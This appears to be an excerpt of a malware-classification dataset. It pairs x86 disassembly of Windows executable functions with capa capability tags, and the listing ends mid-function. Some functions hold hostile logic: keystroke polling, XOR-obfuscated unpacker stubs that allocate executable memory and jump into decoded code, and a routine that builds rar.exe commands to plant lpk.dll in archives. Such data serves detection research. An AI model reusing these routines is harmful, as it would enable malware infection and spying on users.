joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430939
Capabilities:
Open clipboard

Disassembly:
push 0x1c
mov eax, 0x44a0e2
call fcn.00424baa
mov esi, edx
xor ebx, ebx
push ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
setne al
mov byte [ebp - 0xd], al
test al, al
je 0x4309fc
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
je 0x4309f6
mov eax, dword [esi + 4]
mov edx, dword [esi]
lea eax, [eax*2 + 2]
push eax
push 0xd
pop ecx
call fcn.00430a04
push 0
mov edx, esi
lea ecx, [ebp - 0x1c]
mov bl, al
call fcn.00430329
xor eax, eax
inc eax
mov byte [ebp - 4], al
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
inc ecx
push ecx
mov ecx, eax
call fcn.00430a04
push 1
pop edi
test al, al
movzx ebx, bl
push edi
mov edx, esi
lea ecx, [ebp - 0x28]
cmovne ebx, edi
call fcn.00430329
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.0042fa91
push dword [ebp - 0x28]
call fcn.00417f53
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
inc eax
pop ecx
push eax
push 7
pop ecx
call fcn.00430a04
push dword [ebp - 0x1c]
test al, al
movzx ebx, bl
cmovne ebx, edi
call fcn.00417f53
pop ecx
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, bl
call fcn.00424b87
ret

Function at 0x430a04
Capabilities:
Write clipboard data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push dword [esp + 0x18]
mov ebp, ecx
xor ebx, ebx
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], ebx
mov edi, edx
call fcn.00433299
mov esi, dword [esp + 0x10]
test al, al
je 0x430a59
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x430a59
push dword [esp + 0x18]
push edi
push eax
call fcn.0041af90
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push ebp
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
je 0x430a59
mov esi, ebx
mov bl, 1
test esi, esi
je 0x430a64
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
pop ecx
ret 4
Function at 0x43155d
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x348]
sub esp, 0x348
push 0xffffffffffffffff
push 0x44a236
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x45d040]
xor eax, ebp
mov dword [ebp + 0x344], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [esi]
xor ebx, ebx
xor ecx, ecx
mov dword [esi + 4], ebx
mov edi, 0x114
mov word [eax], cx
cmp byte [0x45f351], cl
jne 0x4315fe
lea eax, [ebp + 0x22c]
mov byte [ebp + 0x22c], bl
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x431615
cmp eax, edi
jae 0x431615
lea edx, [ebp + 0x22c]
mov byte [ebp + 0x340], bl
lea ecx, [ebp - 0x1c]
call fcn.0042f269
push eax
mov ecx, esi
mov dword [ebp - 4], ebx
call fcn.0043002f
push dword [ebp - 0x1c]
call fcn.00417f53
mov al, 1
jmp 0x43169f
xor eax, eax
mov word [ebp], ax
lea eax, [ebp]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov esi, eax
test esi, esi
jne 0x43161c
xor al, al
jmp 0x4316a0
cmp esi, edi
jae 0x431639
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ebp + 0x228], ax
lea eax, [ebp]
push eax
call fcn.0042ff9d
mov al, 1
jmp 0x4316a0
lea ecx, [ebp - 0x1c]
call fcn.0042ff79
mov dword [ebp - 4], 1
cmp esi, dword [ebp - 0x14]
jbe 0x431656
push esi
lea ecx, [ebp - 0x1c]
call fcn.0042f9cb
mov edi, dword [ebp - 0x1c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x431697
xor eax, eax
mov word [edi + esi*2], ax
mov eax, ebx
cmp word [edi], bx
je 0x43167b
inc eax
cmp word [edi + eax*2], bx
jne 0x431674
mov dword [ebp - 0x18], eax
cmp eax, ecx
jne 0x431697
lea eax, [esi - 1]
cmp eax, ecx
jne 0x431697
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x1c]
push eax
call fcn.0043002f
mov bl, 1
push edi
call fcn.00417f53
mov al, bl
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x344]
xor ecx, ebp
call fcn.00417f45
add ebp, 0x348
leave
ret

Function at 0x4316ce
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
call fcn.004325ac
cmp eax, 0xffffffff
je 0x4316fb
mov edx, eax
and dl, 0x11
cmp dl, 1
jne 0x4316fb
and eax, 0xfffffffe
mov ecx, esi
mov edx, eax
call fcn.00431a33
test al, al
je 0x431725
cmp byte [0x45f351], 0
jne 0x43172d
mov edx, esi
lea ecx, [ebp - 0xc]
call fcn.0042f292
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
jne 0x431729
xor al, al
jmp 0x431739
mov al, 1
jmp 0x431739
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne al
pop esi
leave
ret
Function at 0x431881
Capabilities:
Create directory

Disassembly:
push 0x44
mov eax, 0x44a29f
call fcn.00424baa
mov edi, ecx
cmp byte [0x45f351], 0
jne 0x4318cd
mov edx, edi
lea ecx, [ebp - 0x18]
call fcn.0042f292
xor ebx, ebx
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0x18]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
jne 0x4318db
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4318df
xor al, al
jmp 0x431914
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x4318bc
mov al, 1
jmp 0x431914
lea ecx, [ebp - 0x50]
call fcn.0043218a
lea ecx, [ebp - 0x28]
call fcn.0042ff79
push ebx
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004321ab
test al, al
je 0x431909
mov ebx, dword [ebp - 0x30]
shr ebx, 4
and bl, 1
push dword [ebp - 0x28]
call fcn.00417f53
pop ecx
mov al, bl
call fcn.00424b87
ret

Function at 0x43191a
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45f351], 0
jne 0x431956
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042f292
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
pop esi
jne 0x431952
xor al, al
leave
ret
mov al, 1
leave
ret
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x4319d2
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45f351], 0
jne 0x431a0c
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042f292
push dword [eax]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
pop esi
jne 0x431a08
xor al, al
leave
ret
mov al, 1
leave
ret
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
leave
ret

Function at 0x431a33
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45f351], 0
push esi
mov esi, edx
jne 0x431a6f
mov edx, ecx
lea ecx, [ebp - 0xc]
call fcn.0042f292
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
jne 0x431a6b
xor al, al
jmp 0x431a7c
mov al, 1
jmp 0x431a7c
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
setne al
pop esi
leave
ret
Function at 0x431add
Capabilities:
Get disk information

Disassembly:
push 0x2c
mov eax, 0x44a313
call fcn.00424baa
mov ebx, ecx
mov dword [ebp - 0x10], ebx
call fcn.0040146a
cmp byte [0x45f351], 0
jne 0x431bd0
mov ecx, ebx
call fcn.0040146a
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor ebx, ebx
push ebx
push ebx
call edi
mov esi, eax
test esi, esi
je 0x431be2
push esi
call fcn.00418089
pop ecx
mov dword [ebp - 0x1c], eax
push eax
push esi
mov dword [ebp - 4], ebx
call edi
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x431bc8
cmp edi, esi
ja 0x431bc8
lea ecx, [ebp - 0x2c]
call fcn.0042fe84
mov byte [ebp - 4], 1
test edi, edi
je 0x431bba
xor esi, esi
mov eax, edi
mov edi, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
cmp byte [esi + edi - 1], 0
jne 0x431bab
lea eax, [edi + ebx]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0043008a
lea edx, [ebp - 0x2c]
mov ebx, esi
lea ecx, [ebp - 0x38]
call fcn.0042f240
mov esi, eax
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00401515
mov ecx, dword [ebp - 0x10]
push esi
call fcn.004014d6
mov byte [ebp - 4], 1
push dword [ebp - 0x38]
call fcn.00417f53
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
pop ecx
inc esi
sub eax, 1
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], eax
jne 0x431b61
mov edi, dword [ebp - 0x20]
push dword [ebp - 0x2c]
cmp ebx, edi
sete bl
call fcn.00417f53
pop ecx
push dword [ebp - 0x1c]
jmp 0x431c83
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
xor ebx, ebx
push ebx
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x431be9
xor al, al
jmp 0x431c8b
push 2
pop ecx
mul ecx
push 0xffffffffffffffff
pop ecx
cmovb eax, ecx
push eax
call fcn.00418089
pop ecx
mov dword [ebp - 0x18], eax
push eax
push esi
mov dword [ebp - 4], 3
call edi
mov edi, eax
test edi, edi
je 0x431c80
cmp edi, esi
ja 0x431c80
lea ecx, [ebp - 0x2c]
call fcn.0042ff79
mov byte [ebp - 4], 4
mov edx, ebx
mov dword [ebp - 0x1c], edx
mov esi, ebx
test edi, edi
je 0x431c72
mov eax, dword [ebp - 0x18]
push 2
pop ecx
mov dword [ebp - 0x14], ecx
inc esi
cmp word [ecx + eax - 2], bx
jne 0x431c65
add eax, edx
lea ecx, [ebp - 0x2c]
push eax
call fcn.0042ff9d
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], esi
call fcn.00401515
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.004014d6
mov ecx, dword [ebp - 0x14]
mov edx, ecx
mov eax, dword [ebp - 0x18]
add ecx, 2
mov dword [ebp - 0x14], ecx
cmp esi, edi
jb 0x431c33
mov edx, dword [ebp - 0x1c]
push dword [ebp - 0x2c]
cmp edx, edi
sete bl
call fcn.00417f53
pop ecx
push dword [ebp - 0x18]
call fcn.00417f53
mov al, bl
pop ecx
call fcn.00424b87
ret

Function at 0x4325ac
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x45f351], 0
jne 0x4325de
mov edx, ecx
lea ecx, [ebp - 0xc]
push esi
call fcn.0042f292
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push dword [ebp - 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
mov eax, esi
pop esi
leave
ret
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, eax
mov eax, ecx
leave
ret
Function at 0x432a1f
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x432a49
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x432a49
xor al, al
jmp 0x432a5d
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [ebp - 4]
add ecx, esi
adc edx, 0
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4

Function at 0x435d64
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x28
push ebx
push ebp
push esi
mov esi, dword [esp + 0x38]
push edi
cmp esi, 0xffffffff
je 0x435e3d
mov edx, dword [ecx + 0x78]
mov eax, dword [ecx + 0x7c]
lea ecx, [esp + 0x2c]
and dword [esp + 0x34], 0
add eax, dword [edx + esi*4]
mov dword [esp + 0x2c], eax
mov eax, dword [edx + esi*4 + 4]
sub eax, dword [edx + esi*4]
mov dword [esp + 0x30], eax
call fcn.004384ff
mov ebx, eax
test ebx, ebx
jmp 0x435e33
lea ecx, [esp + 0x2c]
call fcn.004384e7
mov edi, dword [esp + 0x34]
xorps xmm0, xmm0
mov ecx, dword [esp + 0x2c]
movzx ebp, al
movlpd qword [esp + 0x20], xmm0
mov esi, dword [esp + 0x24]
mov byte [esp + 0x3c], al
lea ecx, [edi + ecx]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x18], 0
and ebp, 0xf
jbe 0x435e0d
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x1c]
movzx eax, byte [ebx + edi]
shld esi, ecx, 8
cdq
shl ecx, 8
or esi, edx
or ecx, eax
inc edi
cmp edi, ebp
jb 0x435dec
mov edi, dword [esp + 0x34]
mov ebx, dword [esp + 0x14]
mov al, byte [esp + 0x3c]
add edi, ebp
mov dword [esp + 0x34], edi
cmp ecx, 0x6f10701
jne 0x435e1f
test esi, esi
je 0x435e49
test al, 0x20
je 0x435e30
lea ecx, [esp + 0x2c]
call fcn.004384ff
add dword [esp + 0x34], eax
sub ebx, 1
mov dword [esp + 0x14], ebx
jne 0x435da7
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret 4
mov al, 1
jmp 0x435e3f
Function at 0x4444b0
Capabilities:
Log keystrokes via polling

Disassembly:
push esi
push 0x11
mov esi, ecx
call dword [sym.imp.USER32.dll_GetKeyState]
mov edx, dword [esp + 8]
shr eax, 0xf
and al, 1
movzx ecx, word [edx + 0xc]
mov edx, ecx
cmp edx, 8
je 0x4444f3
cmp edx, 0x52
je 0x4444e2
cmp ecx, 0x76
jne 0x4444ef
mov ecx, esi
call fcn.004439e6
jmp 0x4444fa
test al, al
je 0x4444ef
mov ecx, esi
call fcn.00443bee
jmp 0x4444fa
xor al, al
jmp 0x4444fc
mov ecx, esi
call fcn.00443b83
mov al, 1
pop esi
ret 4
Function at 0x445b91
Capabilities:
Get file system object information

Disassembly:
push 0x1c8
mov eax, 0x44c161
call fcn.00424bdd
mov ebx, ecx
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x1d4]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x1b0], eax
call fcn.0042ff79
and dword [ebp - 4], 0
cmp byte [edi], 0
je 0x445c14
push dword [edi + 0xc]
lea ecx, [ebp - 0x1bc]
push dword [edi + 8]
call fcn.00445b11
push eax
mov edx, 0xdb0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1ac]
call fcn.00445b54
push eax
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 2
call fcn.0043002f
push dword [ebp - 0x1ac]
call fcn.00417f53
pop ecx
mov byte [ebp - 4], 0
push dword [ebp - 0x1bc]
call fcn.00417f53
pop ecx
lea eax, [edi + 0x18]
mov ecx, eax
mov dword [ebp - 0x1a0], eax
call fcn.0042f4e8
mov esi, eax
lea eax, [edi + 0x18]
push eax
lea ecx, [esi + 1]
push ecx
lea ecx, [ebp - 0x1bc]
call fcn.0042f8fb
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1c8]
mov eax, dword [edi + 0x18]
add eax, 2
lea eax, [eax + esi*2]
push eax
call fcn.004300da
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 4
push eax
mov ecx, ebx
call fcn.00445dea
lea eax, [ebp - 0x1c8]
mov ecx, ebx
push eax
call fcn.00445dea
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x19c]
call fcn.00430001
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 5
call fcn.0042f650
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042f5d1
lea ecx, [ebp - 0x19c]
call fcn.0042f650
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042f5d1
lea ecx, [ebp - 0x19c]
call fcn.0042f650
cmp byte [edi + 1], 0
je 0x445d31
mov edx, 0x3f4
lea ecx, [ebp - 0x1ac]
call fcn.004337ea
push eax
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 6
call fcn.0042f5d1
mov byte [ebp - 4], 5
push dword [ebp - 0x1ac]
call fcn.00417f53
lea ecx, [ebp - 0x19c]
mov dword [esp], 0x453820
call fcn.0042f585
push 0
lea eax, [ebp - 0x30]
push eax
lea ecx, [edi + 0x10]
call fcn.00433557
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x19c]
call fcn.0042f585
push dword [ebp + 8]
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push dword [ebx + 4]
call edi
mov edx, dword [ebp - 0x19c]
mov ecx, eax
call fcn.00433f70
mov edx, dword [ebp - 0x1a0]
lea ecx, [ebp - 0x1ac]
push 0
call fcn.00430329
push 0x110
push 0x160
lea eax, [ebp - 0x190]
push eax
push 0x80
push dword [ebp - 0x1ac]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push dword [ebp - 0x1ac]
mov esi, eax
call fcn.00417f53
pop ecx
test esi, esi
je 0x445db2
push dword [ebp - 0x1b0]
push dword [ebx + 4]
call edi
push 0
push dword [ebp - 0x190]
push 0x170
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
push dword [ebp - 0x19c]
call fcn.00417f53
pop ecx
push dword [ebp - 0x1c8]
call fcn.00417f53
pop ecx
push dword [ebp - 0x1bc]
call fcn.00417f53
pop ecx
push dword [ebp - 0x1d4]
call fcn.00417f53
pop ecx
call fcn.00424b9b
ret 0xc
Function at 0x446377
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
sub esp, 0x28
mov eax, dword [edx]
push esi
mov esi, ecx
cmp eax, dword [esi + 0xb4]
jne 0x4463aa
cmp dword [edx + 8], 0xffffff65
jne 0x4463aa
movzx eax, word [edx + 0xc]
sub eax, 0x2d
je 0x4463e4
sub eax, 0x14
je 0x4463b1
dec eax
sub eax, 1
je 0x4463e4
xor al, al
pop esi
leave
ret 8
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
je 0x4463aa
push 2
pop eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push 0xffffffffffffffff
push 0x102b
push dword [esi + 0xb4]
call dword [sym.imp.USER32.dll_SendMessageA]
mov al, 1
jmp 0x4463ac
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
test al, 1
je 0x4463aa
mov ecx, esi
call fcn.00446287
jmp 0x4463e0
Function at 0x448689
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x168
mov eax, dword [0x45d040]
xor eax, esp
mov dword [esp + 0x164], eax
test cl, cl
mov edx, 0x4011
mov eax, 0x4110
cmovne eax, edx
push eax
push 0x160
lea eax, [esp + 8]
push eax
push 0x90
push 0x452ae4
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.00417f45
mov esp, ebp
pop ebp
ret

Function at 0x4486df
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2d0
mov eax, dword [0x45d040]
xor eax, esp
mov dword [esp + 0x2cc], eax
push esi
mov esi, edx
or esi, 0x80
cmp byte [0x45f351], 0
push edi
mov edi, dword [ebp + 8]
jne 0x448742
mov edx, ecx
lea ecx, [esp + 0xc]
call fcn.0042f292
push 0x4010
push 0x160
lea ecx, [esp + 0x20]
push ecx
push esi
push dword [eax]
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
push dword [esp + 0xc]
mov esi, eax
call fcn.00417f53
pop ecx
mov eax, esi
jmp 0x448750
push ecx
push ecx
lea eax, [esp + 0x20]
mov edx, esi
push eax
call fcn.0044866b
mov ecx, dword [esp + 0x1c]
mov dword [edi], ecx
mov ecx, dword [esp + 0x2d4]
pop edi
pop esi
xor ecx, esp
call fcn.00417f45
mov esp, ebp
pop ebp
ret 4

Function at 0x448e3e
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push ecx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x448e6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x448e6a
xor al, al
jmp 0x448e7b
mov ecx, dword [ebp - 4]
xor eax, eax
add eax, edi
mov dword [esi], eax
mov al, 1
adc ecx, 0
mov dword [esi + 4], ecx
pop edi
pop esi
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40e505
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40e514
pop dword [ebp - 0x50]
mov eax, 0x124ed8b3
sub eax, 0x120df39f
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x593e48ba
sub dword [ebp - 0x60], 0xaec036f
mov dword [ebp - 0x5c], 0xe7c7a7f0
add dword [ebp - 0x5c], 0x4a6ba455
mov dword [ebp - 0x58], 0xe6707e33
add dword [ebp - 0x58], 0x65dbc5fb
mov dword [ebp - 0x54], 0x676f56de
sub dword [ebp - 0x54], 0x676f56de
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x2611771e
add dword [ebp - 0x60], 0x4e60f238
mov dword [ebp - 0x5c], 0x1687c7b5
sub dword [ebp - 0x5c], 0xd51b6640
mov dword [ebp - 0x58], 0x3c4cf54e
add dword [ebp - 0x58], 0x2722771e
mov dword [ebp - 0x54], 0x223bef84
sub dword [ebp - 0x54], 0x223bef84
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xdb62a712
add eax, 0x24df8a12
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3e3b4
push 0
call eax
mov ecx, 0x98f0dc26
add ecx, 0x670f6de3
mov edi, eax
mov ebx, 0x434400
add ebx, dword [ebp - 0x50]
mov edx, 0x7b1b93bb
sub edx, 0x72c54025
xor dword [ebp - 0x1c], 0x9dc6e96a
mov esi, dword [ebx]
xor dword [ebp - 0x28], eax
xor esi, edx
mov dword [edi], esi
add dword [ebp - 0x14], 0x49f1c39d
add edi, 4
add ebx, 0xaabc4ed9
sub ebx, 0xaabc4ed5
loop 0x40e62b
add eax, 0x46ddaa53
add eax, 0xb92370a4
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7f2fce83
sub ecx, 0x7eefce83
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40673a
pop dword [ebp - 0x48]
mov eax, 0x2a396f26
add eax, 0xd606f814
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x6f7a39be
add dword [ebp - 0x58], 0xded80b8d
mov dword [ebp - 0x54], 0xe36f091a
add dword [ebp - 0x54], 0x4ec4432b
mov dword [ebp - 0x50], 0x96bacf23
add dword [ebp - 0x50], 0xb591750b
mov dword [ebp - 0x4c], 0xb5115361
add dword [ebp - 0x4c], 0x4aeeac9f
lea eax, [ebp - 0x58]
push eax
mov eax, 0xfca59ab
sub eax, 0xf89d8a7
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x45e7ca76
sub dword [ebp - 0x58], 0xd1756120
mov dword [ebp - 0x54], 0xce199eeb
sub dword [ebp - 0x54], 0x8cad3d76
mov dword [ebp - 0x50], 0xbb77b1be
add dword [ebp - 0x50], 0xa7f7baae
mov dword [ebp - 0x4c], 0x60757115
sub dword [ebp - 0x4c], 0x60757115
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x4040d43c
add eax, 0xbfffacc4
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3723d
push 0
call eax
mov ecx, 0xdcba775c
add ecx, 0x2345cf23
mov ebx, eax
mov edx, 0xf6a3a8e0
add edx, 0x9a33b20
add edx, dword [ebp - 0x48]
mov edi, 0xb89d7bfd
sub edi, 0x8664e6c8
sub dword [ebp - 0x1c], 0x26c0ce2b
mov esi, dword [edx]
xor dword [ebp - 0x2c], edx
add esi, edi
mov dword [ebx], esi
mov dword [ebp - 0x28], 0xca747e68
add ebx, 0x152d3720
sub ebx, 0x152d371c
add edx, 0x153c73c6
sub edx, 0x153c73c2
loop 0x40685c
add eax, 0x20edbd3f
add eax, 0xdf134f90
mov ebx, eax
add eax, 0xfe185f6f
add eax, 0x1e7a096
mov ecx, 0xff3d3a7f
sub ecx, 0xfefd3a7f
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1000142b
Capabilities:
Check if file exists
Get common file path
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push eax
push 0
push 2
push 0
push 0x10002310
push 0x80000000
mov dword [ebp - 4], 0x208
call dword [sym.imp.SHLWAPI.dll_SHRegGetValueW]
test eax, eax
jne 0x100015fa
cmp word [ebp - 0x20c], 0x22
setne al
test eax, eax
jne 0x100015fc
lea eax, [ebp - 0x20a]
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, 0x1000230c
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x100015fa
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.rar.exe
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100015fa
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHELL32.dll_PathGetShortPath]
lea eax, [ebp - 0x414]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push str.IRAR
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.cmd__c__s_vb___s__lpk.dllfind__i__lpk.dll_
push eax
call esi
mov edi, 0xea60
lea eax, [ebp - 0x824]
push edi
push eax
call fcn.10001398
add esp, 0x1c
test eax, eax
je 0x100015f8
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.__s__x___s__.exe___s_
push eax
call esi
lea eax, [ebp - 0x824]
push 0x1d4c0
push eax
call fcn.10001398
add esp, 0x1c
lea eax, [ebp - 0x414]
push eax
call fcn.10001677
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 8]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x824]
push str.__s__a__r__ep1__s____s____slpk.dll_
push eax
call esi
lea eax, [ebp - 0x824]
push 0x3a980
push eax
call fcn.10001398
lea eax, [ebp - 0x414]
